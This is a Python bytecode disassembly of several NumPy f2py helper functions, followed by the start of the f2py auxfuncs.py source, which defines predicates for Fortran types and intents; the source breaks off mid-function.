LOAD_CONST None LOAD_CONST -1 BUILD_SLICE BINARY_SUBSCR RETURN_VALUE LOAD_FAST s RETURN_VALUE LOAD_GLOBAL isinstance LOAD_DEREF d LOAD_GLOBAL list CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_CLOSURE defaultsep LOAD_CLOSURE str BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7fab0018d930, file "f.py", line 902> LOAD_CONST 'replace.<locals>.<listcomp>' MAKE_FUNCTION LOAD_DEREF d GET_ITER CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL isinstance LOAD_DEREF str LOAD_GLOBAL list CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_CLOSURE d LOAD_CLOSURE defaultsep BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7fab0018d9c0, file "f.py", line 904> LOAD_CONST 'replace.<locals>.<listcomp>' MAKE_FUNCTION LOAD_DEREF str GET_ITER CALL_FUNCTION RETURN_VALUE SETUP_LOOP to 200 LOAD_CONST 2 LOAD_GLOBAL list LOAD_DEREF d LOAD_METHOD keys CALL_METHOD CALL_FUNCTION BINARY_MULTIPLY GET_ITER FOR_ITER to 198 STORE_FAST k LOAD_FAST k LOAD_CONST 'separatorsfor' COMPARE_OP == POP_JUMP_IF_FALSE JUMP_ABSOLUTE LOAD_CONST 'separatorsfor' LOAD_DEREF d COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST k LOAD_DEREF d LOAD_CONST 'separatorsfor' BINARY_SUBSCR COMPARE_OP in POP_JUMP_IF_FALSE LOAD_DEREF d LOAD_CONST 'separatorsfor' BINARY_SUBSCR LOAD_FAST k BINARY_SUBSCR STORE_FAST sep JUMP_FORWARD to 130 LOAD_DEREF defaultsep STORE_FAST sep LOAD_GLOBAL isinstance LOAD_DEREF d LOAD_FAST k BINARY_SUBSCR LOAD_GLOBAL list CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_DEREF str LOAD_METHOD replace LOAD_CONST '#%s#' LOAD_FAST k BINARY_MODULO LOAD_FAST sep LOAD_METHOD join LOAD_GLOBAL flatlist LOAD_DEREF d LOAD_FAST k BINARY_SUBSCR CALL_FUNCTION CALL_METHOD CALL_METHOD STORE_DEREF str JUMP_ABSOLUTE LOAD_DEREF str LOAD_METHOD replace LOAD_CONST '#%s#' LOAD_FAST k BINARY_MODULO LOAD_DEREF d LOAD_FAST k BINARY_SUBSCR CALL_METHOD STORE_DEREF str JUMP_ABSOLUTE POP_BLOCK LOAD_DEREF str RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 22 STORE_FAST _m LOAD_GLOBAL replace LOAD_DEREF str LOAD_FAST _m LOAD_DEREF defaultsep CALL_FUNCTION LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 22 STORE_FAST _m LOAD_GLOBAL replace LOAD_FAST _m LOAD_DEREF d LOAD_DEREF defaultsep CALL_FUNCTION LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST ar LOAD_GLOBAL list CALL_FUNCTION POP_JUMP_IF_FALSE SETUP_LOOP to 34 LOAD_FAST ar GET_ITER FOR_ITER to 32 STORE_FAST a LOAD_GLOBAL dictappend LOAD_FAST rd LOAD_FAST a CALL_FUNCTION STORE_FAST rd JUMP_ABSOLUTE POP_BLOCK LOAD_FAST rd RETURN_VALUE EXTENDED_ARG SETUP_LOOP to 316 LOAD_FAST ar LOAD_METHOD keys CALL_METHOD GET_ITER EXTENDED_ARG FOR_ITER to 314 STORE_FAST k LOAD_FAST k LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST '_' COMPARE_OP == POP_JUMP_IF_FALSE JUMP_ABSOLUTE LOAD_FAST k LOAD_FAST rd COMPARE_OP in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL isinstance LOAD_FAST rd LOAD_FAST k BINARY_SUBSCR LOAD_GLOBAL str CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST rd LOAD_FAST k BINARY_SUBSCR BUILD_LIST LOAD_FAST rd LOAD_FAST k STORE_SUBSCR LOAD_GLOBAL isinstance LOAD_FAST rd LOAD_FAST k BINARY_SUBSCR LOAD_GLOBAL list CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL isinstance LOAD_FAST ar LOAD_FAST k BINARY_SUBSCR LOAD_GLOBAL list CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST rd LOAD_FAST k BINARY_SUBSCR LOAD_FAST ar LOAD_FAST k BINARY_SUBSCR BINARY_ADD LOAD_FAST rd LOAD_FAST k STORE_SUBSCR JUMP_FORWARD to 176 LOAD_FAST rd LOAD_FAST k BINARY_SUBSCR LOAD_METHOD append LOAD_FAST ar LOAD_FAST k BINARY_SUBSCR CALL_METHOD POP_TOP JUMP_FORWARD to 298 LOAD_GLOBAL isinstance LOAD_FAST rd LOAD_FAST k BINARY_SUBSCR LOAD_GLOBAL dict CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL isinstance LOAD_FAST ar LOAD_FAST k BINARY_SUBSCR LOAD_GLOBAL dict CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST k LOAD_CONST 'separatorsfor' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE SETUP_LOOP to 298 LOAD_FAST ar LOAD_FAST k BINARY_SUBSCR LOAD_METHOD keys CALL_METHOD GET_ITER FOR_ITER to 272 STORE_FAST k1 LOAD_FAST k1 LOAD_FAST rd LOAD_FAST k BINARY_SUBSCR COMPARE_OP not in POP_JUMP_IF_FALSE LOAD_FAST ar LOAD_FAST k BINARY_SUBSCR LOAD_FAST k1 BINARY_SUBSCR LOAD_FAST rd LOAD_FAST k BINARY_SUBSCR LOAD_FAST k1 STORE_SUBSCR JUMP_ABSOLUTE POP_BLOCK JUMP_FORWARD to 298 LOAD_GLOBAL dictappend LOAD_FAST rd LOAD_FAST k BINARY_SUBSCR LOAD_FAST ar LOAD_FAST k BINARY_SUBSCR CALL_FUNCTION LOAD_FAST rd LOAD_FAST k STORE_SUBSCR JUMP_ABSOLUTE LOAD_FAST ar LOAD_FAST k BINARY_SUBSCR LOAD_FAST rd LOAD_FAST k STORE_SUBSCR JUMP_ABSOLUTE POP_BLOCK LOAD_FAST rd RETURN_VALUE BUILD_MAP STORE_FAST ret LOAD_GLOBAL isinstance LOAD_FAST rules LOAD_GLOBAL list CALL_FUNCTION POP_JUMP_IF_FALSE SETUP_LOOP to 60 LOAD_FAST rules GET_ITER FOR_ITER to 58 STORE_FAST r LOAD_GLOBAL applyrules LOAD_FAST r LOAD_FAST d LOAD_FAST var CALL_FUNCTION STORE_FAST rr LOAD_GLOBAL dictappend LOAD_FAST ret LOAD_FAST rr CALL_FUNCTION STORE_FAST ret LOAD_CONST '_break' LOAD_FAST rr COMPARE_OP in POP_JUMP_IF_FALSE BREAK_LOOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST ret RETURN_VALUE LOAD_CONST '_check' LOAD_FAST rules COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST rules LOAD_CONST '_check' BINARY_SUBSCR LOAD_FAST var CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_FAST ret RETURN_VALUE LOAD_CONST 'need' LOAD_FAST rules COMPARE_OP in POP_JUMP_IF_FALSE LOAD_GLOBAL applyrules LOAD_CONST 'needs' LOAD_FAST rules LOAD_CONST 'need' BINARY_SUBSCR BUILD_MAP LOAD_FAST d LOAD_FAST var CALL_FUNCTION STORE_FAST res LOAD_CONST 'needs' LOAD_FAST res COMPARE_OP in POP_JUMP_IF_FALSE LOAD_GLOBAL cfuncs LOAD_METHOD append_needs LOAD_FAST res LOAD_CONST 'needs' BINARY_SUBSCR CALL_METHOD POP_TOP EXTENDED_ARG SETUP_LOOP to 686 LOAD_FAST rules LOAD_METHOD keys CALL_METHOD GET_ITER EXTENDED_ARG FOR_ITER to 684 STORE_FAST k LOAD_FAST k LOAD_CONST 'separatorsfor' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST rules LOAD_FAST k BINARY_SUBSCR LOAD_FAST ret LOAD_FAST k STORE_SUBSCR JUMP_ABSOLUTE LOAD_GLOBAL isinstance LOAD_FAST rules LOAD_FAST k BINARY_SUBSCR LOAD_GLOBAL str CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL replace LOAD_FAST rules LOAD_FAST k BINARY_SUBSCR LOAD_FAST d CALL_FUNCTION LOAD_FAST ret LOAD_FAST k STORE_SUBSCR EXTENDED_ARG JUMP_FORWARD to 616 LOAD_GLOBAL isinstance LOAD_FAST rules LOAD_FAST k BINARY_SUBSCR LOAD_GLOBAL list CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_FALSE BUILD_LIST LOAD_FAST ret LOAD_FAST k STORE_SUBSCR SETUP_LOOP to 298 LOAD_FAST rules LOAD_FAST k BINARY_SUBSCR GET_ITER FOR_ITER to 296 STORE_FAST i LOAD_GLOBAL applyrules LOAD_FAST k LOAD_FAST i BUILD_MAP LOAD_FAST d LOAD_FAST var CALL_FUNCTION STORE_FAST ar LOAD_FAST k LOAD_FAST ar COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST ret LOAD_FAST k BINARY_SUBSCR LOAD_METHOD append LOAD_FAST ar LOAD_FAST k BINARY_SUBSCR CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK EXTENDED_ARG JUMP_FORWARD to 616 LOAD_FAST k LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST '_' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE JUMP_ABSOLUTE EXTENDED_ARG JUMP_FORWARD to 616 LOAD_GLOBAL isinstance LOAD_FAST rules LOAD_FAST k BINARY_SUBSCR LOAD_GLOBAL dict CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_FALSE BUILD_LIST LOAD_FAST ret LOAD_FAST k STORE_SUBSCR SETUP_LOOP to 594 LOAD_FAST rules LOAD_FAST k BINARY_SUBSCR LOAD_METHOD keys CALL_METHOD GET_ITER FOR_ITER to 592 STORE_FAST k1 LOAD_GLOBAL isinstance LOAD_FAST k1 LOAD_GLOBAL types LOAD_ATTR FunctionType CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST k1 LOAD_FAST var CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL isinstance LOAD_FAST rules LOAD_FAST k BINARY_SUBSCR LOAD_FAST k1 BINARY_SUBSCR LOAD_GLOBAL list CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_FALSE SETUP_LOOP to 588 LOAD_FAST rules LOAD_FAST k BINARY_SUBSCR LOAD_FAST k1 BINARY_SUBSCR GET_ITER FOR_ITER to 502 STORE_FAST i LOAD_GLOBAL isinstance LOAD_FAST i LOAD_GLOBAL dict CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL applyrules LOAD_CONST 'supertext' LOAD_FAST i BUILD_MAP LOAD_FAST d LOAD_FAST var CALL_FUNCTION STORE_FAST res LOAD_CONST 'supertext' LOAD_FAST res COMPARE_OP in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST res LOAD_CONST 'supertext' BINARY_SUBSCR STORE_FAST i JUMP_FORWARD to 478 LOAD_CONST '' STORE_FAST i LOAD_FAST ret LOAD_FAST k BINARY_SUBSCR LOAD_METHOD append LOAD_GLOBAL replace LOAD_FAST i LOAD_FAST d CALL_FUNCTION CALL_METHOD POP_TOP EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK JUMP_FORWARD to 588 LOAD_FAST rules LOAD_FAST k BINARY_SUBSCR LOAD_FAST k1 BINARY_SUBSCR STORE_FAST i LOAD_GLOBAL isinstance LOAD_FAST i LOAD_GLOBAL dict CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL applyrules LOAD_CONST 'supertext' LOAD_FAST i BUILD_MAP LOAD_FAST d CALL_FUNCTION STORE_FAST res LOAD_CONST 'supertext' LOAD_FAST res COMPARE_OP in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST res LOAD_CONST 'supertext' BINARY_SUBSCR STORE_FAST i JUMP_FORWARD to 568 LOAD_CONST '' STORE_FAST i LOAD_FAST ret LOAD_FAST k BINARY_SUBSCR LOAD_METHOD append LOAD_GLOBAL replace LOAD_FAST i LOAD_FAST d CALL_FUNCTION CALL_METHOD POP_TOP EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK JUMP_FORWARD to 616 LOAD_GLOBAL errmess LOAD_CONST 'applyrules: ignoring rule %s.\n' LOAD_GLOBAL repr LOAD_FAST rules LOAD_FAST k BINARY_SUBSCR CALL_FUNCTION BINARY_MODULO CALL_FUNCTION POP_TOP LOAD_GLOBAL isinstance LOAD_FAST ret LOAD_FAST k BINARY_SUBSCR LOAD_GLOBAL list CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL len LOAD_FAST ret LOAD_FAST k BINARY_SUBSCR CALL_FUNCTION LOAD_CONST 1 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST ret LOAD_FAST k BINARY_SUBSCR LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST ret LOAD_FAST k STORE_SUBSCR LOAD_FAST ret LOAD_FAST k BINARY_SUBSCR BUILD_LIST COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST ret LOAD_FAST k DELETE_SUBSCR JUMP_ABSOLUTE POP_BLOCK LOAD_FAST ret RETURN_VALUE LOAD_CONST None STORE_FAST name LOAD_GLOBAL open LOAD_FAST source CALL_FUNCTION SETUP_WITH to 66 STORE_FAST f SETUP_LOOP to 62 LOAD_FAST f GET_ITER FOR_ITER to 60 STORE_FAST line LOAD_GLOBAL _f2py_module_name_match LOAD_FAST line CALL_FUNCTION STORE_FAST m LOAD_FAST m POP_JUMP_IF_FALSE LOAD_GLOBAL _f2py_user_module_name_match LOAD_FAST line CALL_FUNCTION POP_JUMP_IF_FALSE JUMP_ABSOLUTE LOAD_FAST m LOAD_METHOD group LOAD_CONST 'name' CALL_METHOD STORE_FAST name BREAK_LOOP JUMP_ABSOLUTE POP_BLOCK POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST name RETURN_VALUE BUILD_LIST STORE_FAST all_uses SETUP_LOOP to 80 LOAD_FAST pymod LOAD_CONST 'body' BINARY_SUBSCR GET_ITER FOR_ITER to 78 STORE_FAST inner SETUP_LOOP to 76 LOAD_FAST inner LOAD_CONST 'body' BINARY_SUBSCR GET_ITER FOR_ITER to 74 STORE_FAST modblock LOAD_FAST modblock LOAD_METHOD get LOAD_CONST 'use' CALL_METHOD POP_JUMP_IF_FALSE LOAD_FAST all_uses LOAD_METHOD extend LOAD_CONST <code object <listcomp> at 0x7fab0018dd20, file "f.py", line 1037> LOAD_CONST 'getuseblocks.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST modblock LOAD_METHOD get LOAD_CONST 'use' CALL_METHOD LOAD_METHOD keys CALL_METHOD GET_ITER CALL_FUNCTION CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK JUMP_ABSOLUTE POP_BLOCK LOAD_FAST all_uses RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 22 STORE_FAST x LOAD_CONST '__' LOAD_FAST x COMPARE_OP not in POP_JUMP_IF_FALSE LOAD_FAST x LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE BUILD_LIST STORE_FAST f2cmap_mapped BUILD_MAP STORE_FAST new_map_lower SETUP_LOOP to 60 LOAD_FAST new_map LOAD_METHOD items CALL_METHOD GET_ITER FOR_ITER to 58 UNPACK_SEQUENCE STORE_FAST k STORE_FAST d1 LOAD_CONST <code object <dictcomp> at 0x7fab0018de40, file "f.py", line 1084> LOAD_CONST 'process_f2cmap_dict.<locals>.<dictcomp>' MAKE_FUNCTION LOAD_FAST d1 LOAD_METHOD items CALL_METHOD GET_ITER CALL_FUNCTION STORE_FAST d1_lower LOAD_FAST d1_lower LOAD_FAST new_map_lower LOAD_FAST k LOAD_METHOD lower CALL_METHOD STORE_SUBSCR JUMP_ABSOLUTE POP_BLOCK SETUP_LOOP to 248 LOAD_FAST new_map_lower LOAD_METHOD items CALL_METHOD GET_ITER FOR_ITER to 246 UNPACK_SEQUENCE STORE_FAST k STORE_FAST d1 LOAD_FAST k LOAD_FAST f2cmap_all COMPARE_OP not in POP_JUMP_IF_FALSE BUILD_MAP LOAD_FAST f2cmap_all LOAD_FAST k STORE_SUBSCR SETUP_LOOP to 244 LOAD_FAST d1 LOAD_METHOD items CALL_METHOD GET_ITER FOR_ITER to 242 UNPACK_SEQUENCE STORE_FAST k1 STORE_FAST v1 LOAD_FAST v1 LOAD_FAST c2py_map COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST k1 LOAD_FAST f2cmap_all LOAD_FAST k BINARY_SUBSCR COMPARE_OP in POP_JUMP_IF_FALSE LOAD_GLOBAL outmess LOAD_CONST "\tWarning: redefinition of {'%s':{'%s':'%s'->'%s'}}\n" LOAD_FAST k LOAD_FAST k1 LOAD_FAST f2cmap_all LOAD_FAST k BINARY_SUBSCR LOAD_FAST k1 BINARY_SUBSCR LOAD_FAST v1 BUILD_TUPLE BINARY_MODULO CALL_FUNCTION POP_TOP LOAD_FAST v1 LOAD_FAST f2cmap_all LOAD_FAST k BINARY_SUBSCR LOAD_FAST k1 STORE_SUBSCR LOAD_FAST verbose POP_JUMP_IF_FALSE LOAD_GLOBAL outmess LOAD_CONST '\tMapping "%s(kind=%s)" to "%s"\n' LOAD_FAST k LOAD_FAST k1 LOAD_FAST v1 BUILD_TUPLE BINARY_MODULO CALL_FUNCTION POP_TOP LOAD_FAST f2cmap_mapped LOAD_METHOD append LOAD_FAST v1 CALL_METHOD POP_TOP JUMP_ABSOLUTE LOAD_FAST verbose POP_JUMP_IF_FALSE LOAD_GLOBAL errmess LOAD_CONST "\tIgnoring map {'%s':{'%s':'%s'}}: '%s' must be in %s\n" LOAD_FAST k LOAD_FAST k1 LOAD_FAST v1 LOAD_FAST v1 LOAD_GLOBAL list LOAD_FAST c2py_map LOAD_METHOD keys CALL_METHOD CALL_FUNCTION BUILD_TUPLE BINARY_MODULO CALL_FUNCTION POP_TOP JUMP_ABSOLUTE POP_BLOCK JUMP_ABSOLUTE POP_BLOCK LOAD_FAST f2cmap_all LOAD_FAST f2cmap_mapped BUILD_TUPLE RETURN_VALUE BUILD_MAP LOAD_FAST .0 FOR_ITER to 24 UNPACK_SEQUENCE STORE_FAST k1 STORE_FAST v1 LOAD_FAST v1 LOAD_FAST k1 LOAD_METHOD lower CALL_METHOD MAP_ADD JUMP_ABSOLUTE RETURN_VALUE
""" Auxiliary functions for f2py2e. Copyright 1999 -- 2011 Pearu Peterson all rights reserved. Copyright 2011 -- present NumPy Developers. Permission to use, modify, and distribute this software is given under the terms of the NumPy (BSD style) LICENSE. NO WARRANTY IS EXPRESSED OR IMPLIED. USE AT YOUR OWN RISK. """ import pprint import sys import re import types from functools import reduce from copy import deepcopy from . import __version__ from . import cfuncs __all__ = [ "applyrules", "debugcapi", "dictappend", "errmess", "gentitle", "getargs2", "getcallprotoargument", "getcallstatement", "getfortranname", "getpymethoddef", "getrestdoc", "getusercode", "getusercode1", "getdimension", "hasbody", "hascallstatement", "hascommon", "hasexternals", "hasinitvalue", "hasnote", "hasresultnote", "isallocatable", "isarray", "isarrayofstrings", "ischaracter", "ischaracterarray", "ischaracter_or_characterarray", "iscomplex", "iscomplexarray", "iscomplexfunction", "iscomplexfunction_warn", "isdouble", "isdummyroutine", "isexternal", "isfunction", "isfunction_wrap", "isint1", "isint1array", "isinteger", "isintent_aux", "isintent_c", "isintent_callback", "isintent_copy", "isintent_dict", "isintent_hide", "isintent_in", "isintent_inout", "isintent_inplace", "isintent_nothide", "isintent_out", "isintent_overwrite", "islogical", "islogicalfunction", "islong_complex", "islong_double", "islong_doublefunction", "islong_long", "islong_longfunction", "ismodule", "ismoduleroutine", "isoptional", "isprivate", "isrequired", "isroutine", "isscalar", "issigned_long_longarray", "isstring", "isstringarray", "isstring_or_stringarray", "isstringfunction", "issubroutine", "get_f2py_modulename", "issubroutine_wrap", "isthreadsafe", "isunsigned", "isunsigned_char", "isunsigned_chararray", "isunsigned_long_long", "isunsigned_long_longarray", "isunsigned_short", "isunsigned_shortarray", "l_and", "l_not", "l_or", "outmess", "replace", "show", "stripcomma", "throw_error", "isattr_value", "getuseblocks", "process_f2cmap_dict", ] f2py_version = __version__.version errmess = sys.stderr.write show = pprint.pprint options = {} debugoptions = [] wrapfuncs = 1 def outmess(t): if options.get("verbose", 1): sys.stdout.write(t) def debugcapi(var): return "capi" in debugoptions def _ischaracter(var): return "typespec" in var and var["typespec"] == "character" and not isexternal(var) def _isstring(var): return "typespec" in var and var["typespec"] == "character" and not isexternal(var) def ischaracter_or_characterarray(var): return _ischaracter(var) and "charselector" not in var def ischaracter(var): return ischaracter_or_characterarray(var) and not isarray(var) def ischaracterarray(var): return ischaracter_or_characterarray(var) and isarray(var) def isstring_or_stringarray(var): return _ischaracter(var) and "charselector" in var def isstring(var): return isstring_or_stringarray(var) and not isarray(var) def isstringarray(var): return isstring_or_stringarray(var) and isarray(var) def isarrayofstrings(var): # obsolete? return isstringarray(var) and var["dimension"][-1] == "(*)" def isarray(var): return "dimension" in var and not isexternal(var) def isscalar(var): return not (isarray(var) or isstring(var) or isexternal(var)) def iscomplex(var): return isscalar(var) and var.get("typespec") in ["complex", "double complex"] def islogical(var): return isscalar(var) and var.get("typespec") == "logical" def isinteger(var): return isscalar(var) and var.get("typespec") == "integer" def isreal(var): return isscalar(var) and var.get("typespec") == "real" def get_kind(var): try: return var["kindselector"]["*"] except KeyError: try: return var["kindselector"]["kind"] except KeyError: pass def isint1(var): return ( var.get("typespec") == "integer" and get_kind(var) == "1" and not isarray(var) ) def islong_long(var): if not isscalar(var): return 0 if var.get("typespec") not in ["integer", "logical"]: return 0 return get_kind(var) == "8" def isunsigned_char(var): if not isscalar(var): return 0 if var.get("typespec") != "integer": return 0 return get_kind(var) == "-1" def isunsigned_short(var): if not isscalar(var): return 0 if var.get("typespec") != "integer": return 0 return get_kind(var) == "-2" def isunsigned(var): if not isscalar(var): return 0 if var.get("typespec") != "integer": return 0 return get_kind(var) == "-4" def isunsigned_long_long(var): if not isscalar(var): return 0 if var.get("typespec") != "integer": return 0 return get_kind(var) == "-8" def isdouble(var): if not isscalar(var): return 0 if not var.get("typespec") == "real": return 0 return get_kind(var) == "8" def islong_double(var): if not isscalar(var): return 0 if not var.get("typespec") == "real": return 0 return get_kind(var) == "16" def islong_complex(var): if not iscomplex(var): return 0 return get_kind(var) == "32" def iscomplexarray(var): return isarray(var) and var.get("typespec") in ["complex", "double complex"] def isint1array(var): return isarray(var) and var.get("typespec") == "integer" and get_kind(var) == "1" def isunsigned_chararray(var): return ( isarray(var) and var.get("typespec") in ["integer", "logical"] and get_kind(var) == "-1" ) def isunsigned_shortarray(var): return ( isarray(var) and var.get("typespec") in ["integer", "logical"] and get_kind(var) == "-2" ) def isunsignedarray(var): return ( isarray(var) and var.get("typespec") in ["integer", "logical"] and get_kind(var) == "-4" ) def isunsigned_long_longarray(var): return ( isarray(var) and var.get("typespec") in ["integer", "logical"] and get_kind(var) == "-8" ) def issigned_chararray(var): return ( isarray(var) and var.get("typespec") in ["integer", "logical"] and get_kind(var) == "1" ) def issigned_shortarray(var): return ( isarray(var) and var.get("typespec") in ["integer", "logical"] and get_kind(var) == "2" ) def issigned_array(var): return ( isarray(var) and var.get("typespec") in ["integer", "logical"] and get_kind(var) == "4" ) def issigned_long_longarray(var): return ( isarray(var) and var.get("typespec") in ["integer", "logical"] and get_kind(var) == "8" ) def isallocatable(var): return "attrspec" in var and "allocatable" in var["attrspec"] def ismutable(var): return not ("dimension" not in var or isstring(var)) def ismoduleroutine(rout): return "modulename" in rout def ismodule(rout): return "block" in rout and "module" == rout["block"] def isfunction(rout): return "block" in rout and "function" == rout["block"] def isfunction_wrap(rout): if isintent_c(rout): return 0 return wrapfuncs and isfunction(rout) and (not isexternal(rout)) def issubroutine(rout): return "block" in rout and "subroutine" == rout["block"] def issubroutine_wrap(rout): if isintent_c(rout): return 0 return issubroutine(rout) and hasassumedshape(rout) def isattr_value(var): return "value" in var.get("attrspec", []) def hasassumedshape(rout): if rout.get("hasassumedshape"): return True for a in rout["args"]: for d in rout["vars"].get(a, {}).get("dimension", []): if d == ":": rout["hasassumedshape"] = True return True return False def requiresf90wrapper(rout): return ismoduleroutine(rout) or hasassumedshape(rout) def isroutine(rout): return isfunction(rout) or issubroutine(rout) def islogicalfunction(rout): if not isfunction(rout): return 0 if "result" in rout: a = rout["result"] else: a = rout["name"] if a in rout["vars"]: return islogical(rout["vars"][a]) return 0 def islong_longfunction(rout): if not isfunction(rout): return 0 if "result" in rout: a = rout["result"] else: a = rout["name"] if a in rout["vars"]: return islong_long(rout["vars"][a]) return 0 def islong_doublefunction(rout): if not isfunction(rout): return 0 if "result" in rout: a = rout["result"] else: a = rout["name"] if a in rout["vars"]: return islong_double(rout["vars"][a]) return 0 def iscomplexfunction(rout): if not isfunction(rout): return 0 if "result" in rout: a = rout["result"] else: a = rout["name"] if a in rout["vars"]: return iscomplex(rout["vars"][a]) return 0 def iscomplexfunction_warn(rout): if iscomplexfunction(rout): outmess( """\ ************************************************************** Warning: code with a function returning complex value may not work correctly with your Fortran compiler. When using GNU gcc/g77 compilers, codes should work correctly for callbacks with: f2py -c -DF2PY_CB_RETURNCOMPLEX **************************************************************\n""" ) return 1 return 0 def isstringfunction(rout): if not isfunction(rout): return 0 if "result" in rout: a = rout["result"] else: a = rout["name"] if a in rout["vars"]: return isstring(rout["vars"][a]) return 0 def hasexternals(rout): return "externals" in rout and rout["externals"] def isthreadsafe(rout): return "f2pyenhancements" in rout and "threadsafe" in rout["f2pyenhancements"] def hasvariables(rout): return "vars" in rout and rout["vars"] def isoptional(var): return ( "attrspec" in var and "optional" in var["attrspec"] and "required" not in var["attrspec"] ) and isintent_nothide(var) def isexternal(var): return "attrspec" in var and "external" in var["attrspec"] def getdimension(var): dimpattern = r"\((.*?)\)" if "attrspec" in var.keys(): if any("dimension" in s for s in var["attrspec"]): return [re.findall(dimpattern, v) for v in var["attrspec"]][0] def isrequired(var): return not isoptional(var) and isintent_nothide(var) def isintent_in(var): if "intent" not in var: return 1 if "hide" in var["intent"]: return 0 if "inplace" in var["intent"]: return 0 if "in" in var["intent"]: return 1 if "out" in var["intent"]: return 0 if "inout" in var["intent"]: return 0 if "outin" in var["intent"]: return 0 return 1 def isintent_inout(var): return ( "intent" in var and ("inout" in var["intent"] or "outin" in var["intent"]) and "in" not in var["intent"] and "hide" not in var["intent"] and "inplace" not in var["intent"] ) def isintent_out(var): return "out" in var.get("intent", []) def isintent_hide(var): return "intent" in var and ( "hide" in var["intent"] or ( "out" in var["intent"] and "in" not in var["intent"] and (not l_or(isintent_inout, isintent_inplace)(var)) ) ) def isintent_nothide(var): return not isintent_hide(var) def isintent_c(var): return "c" in var.get("intent", []) def isintent_cache(var): return "cache" in var.get("intent", []) def isintent_copy(var): return "copy" in var.get("intent", []) def isintent_overwrite(var): return "overwrite" in var.get("intent", []) def isintent_callback(var): return "callback" in var.get("intent", []) def isintent_inplace(var): return "inplace" in var.get("intent", []) def isintent_aux(var): return "aux" in var.get("intent", []) def isintent_aligned4(var): return "aligned4" in var.get("intent", []) def isintent_aligned8(var): return "aligned8" in var.get("intent", []) def isintent_aligned16(var): return "aligned16" in var.get("intent", []) isintent_dict = { isintent_in: "INTENT_IN", isintent_inout: "INTENT_INOUT", isintent_out: "INTENT_OUT", isintent_hide: "INTENT_HIDE", isintent_cache: "INTENT_CACHE", isintent_c: "INTENT_C", isoptional: "OPTIONAL", isintent_inplace: "INTENT_INPLACE", isintent_aligned4: "INTENT_ALIGNED4", isintent_aligned8: "INTENT_ALIGNED8", isintent_aligned16: "INTENT_ALIGNED16", } def isprivate(var): return "attrspec" in var and "private" in var["attrspec"] def hasinitvalue(var): return "=" in var def hasinitvalueasstring(var): if not hasinitvalue(var): return 0 return var["="][0] in ['"', "'"] def hasnote(var): return "note" in var def hasresultnote(rout): if not isfunction(rout): return 0 if "result" in rout: a = rout["result"] else: a = rout["name"] if a in rout["vars"]: return hasnote(rout["vars"][a]) return 0 def hascommon(rout): return "common" in rout def containscommon(rout): if hascommon(rout): return 1 if hasbody(rout): for b in rout["body"]: if containscommon(b): return 1 return 0 def containsmodule(block): if ismodule(block): return 1 if not hasbody(block): return 0 for b in block["body"]: if containsmodule(b): return 1 return 0 def hasbody(rout): return "body" in rout def hascallstatement(rout): return getcallstatement(rout) is not None def istrue(var): return 1 def isfalse(var): return 0 class F2PYError(Exception): pass class throw_error: def __init__(self, mess): self.mess = mess def __call__(self, var): mess = "\n\n var = %s\n Message: %s\n" % (var, self.mess) raise F2PYError(mess) def l_and(*f): l1, l2 = "lambda v", [] for i in range(len(f)): l1 = "%s,f%d=f[%d]" % (l1, i, i) l2.append("f%d(v)" % (i)) return eval("%s:%s" % (l1, " and ".join(l2))) def l_or(*f): l1, l2 = "lambda v", [] for i in range(len(f)): l1 = "%s,f%d=f[%d]" % (l1, i, i) l2.append("f%d(v)" % (i)) return eval("%s:%s" % (l1, " or ".join(l2))) def l_not(f): return eval("lambda v,f=f:not f(v)") def isdummyroutine(rout): try: return 